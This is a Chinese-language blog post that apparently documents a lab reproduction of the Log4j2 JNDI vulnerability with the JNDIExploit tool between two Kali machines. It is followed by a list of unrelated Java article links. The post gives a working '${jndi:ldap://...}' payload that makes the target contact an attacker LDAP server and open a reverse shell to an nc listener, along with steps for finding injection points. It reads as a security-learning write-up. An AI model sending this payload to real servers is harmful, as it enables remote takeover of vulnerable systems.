使用JNDIExploit-1.2-SNAPSHOT.jar复现log4j2详细流程

1.进入到改工具所在的目录,然后cmd打开命令行

查看一下帮助信息

-l 指定开启ladp服务的端口

-p 指定开启http服务的端口

-i 指定开启服务的ip,也就是攻击者的ip,也可以是黑客的公网服务器

因为这里的靶场是部署在kali当中的,所以我们用两台kali来演示,实测当中发现如果有一台用windos成功几率不大

攻击机 :192.168.75.134 靶机 :133

2.攻击流程

靶机开启nc监听 6666 端口

在靶机上启动 JNDIExploit-1.2-SNAPSHOT.jar

含义: 在本机开启ldap服务占用8888端口,同时开启http服务占用9999端口

poc:ldap://null:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supporte

实际构造:${jndi:ldap://192.168.75.134:8888/Basic/ReverseShell/192.168.75.134/6666}

把这段代码发给服务器当中存在log4j漏洞的点,然后让他去访问攻击机的ldap服务的8888端口,然后与攻击机的6666端口建立反弹shell。

这里的6666端口就是nc监听的端口

由于这里是使用工具封装好的指令,所以只需要给参数即可。

在构造好poc之后,就要寻找漏洞注入点了,并不是说只要使用了log4j这个框架的网站你去随便构造poc提交给服务器都会成功的,这里我使用了bp当中的一个log4j的扫描插件,在它提示有注入点的地方构造poc即可。插件叫log4j2scan,可以自己去下载导入

提交poc

虽然响应400,但是反弹shell成功了.

补充说明:

在完成这个复现的时候,我是分两次完成的,所以在文章前面我说的是使用8888开启ldap服务,但是在后半部分我在实际操作的时候用了默认的1389端口。大家复现的时候随便选择一个端口即可,但是要保证和poc当中的端口对应即可。

还有就是之所以这个实验做了两次,就是因为在这个实验当中,我第一次做的时候,由于这个复现是使用那个脚本,所以直接使用命令去开启http服务和ldap服务 ,但是我发现开启了http服务,但是没法访问到,我以为是环境的问题,就打算第二天再做。结果第二天还是不行,后来终于搞明白了,他这里使用工具开启http服务的指令,实际上并没有真正的开启http服务,只是做了一个端口监听,让靶机误以为开启了ldap服务和http服务。但是去访问的时候就会执行恶意poc,主要还是这个工具封装的问题,使得我们复现起来简单,但是实际上工具把很多的底层原理都给封装起来了,我们看不到。

如果是手工复现的话就是需要真正开启http服务和ldap服务,并且把我们编译好的class文件,放到我们的http服务上面,让靶机来下载。

相关推荐
Y4090017 小时前
【多线程】线程安全(1)
java·开发语言·jvm
布局呆星7 小时前
SpringBoot 基础入门
java·spring boot·spring
风吹迎面入袖凉8 小时前
【Redis】Redisson的可重入锁原理
java·redis
w6100104668 小时前
cka-2026-ConfigMap
java·linux·cka·configmap
语戚8 小时前
力扣 968. 监控二叉树 —— 贪心 & 树形 DP 双解法递归 + 非递归全解(Java 实现)
java·算法·leetcode·贪心算法·动态规划·力扣·
quxuexi9 小时前
网络通信安全与可靠传输:从加密到认证,从状态码到可靠传输
java·安全·web
hrhcode9 小时前
【java工程师快速上手go】二.Go进阶特性
java·golang·go
小碗羊肉11 小时前
【从零开始学Java | 第三十一篇下】Stream流
java·开发语言
❀͜͡傀儡师12 小时前
Spring AI Alibaba vs. AgentScope:两个阿里AI框架,如何选择?
java·人工智能·spring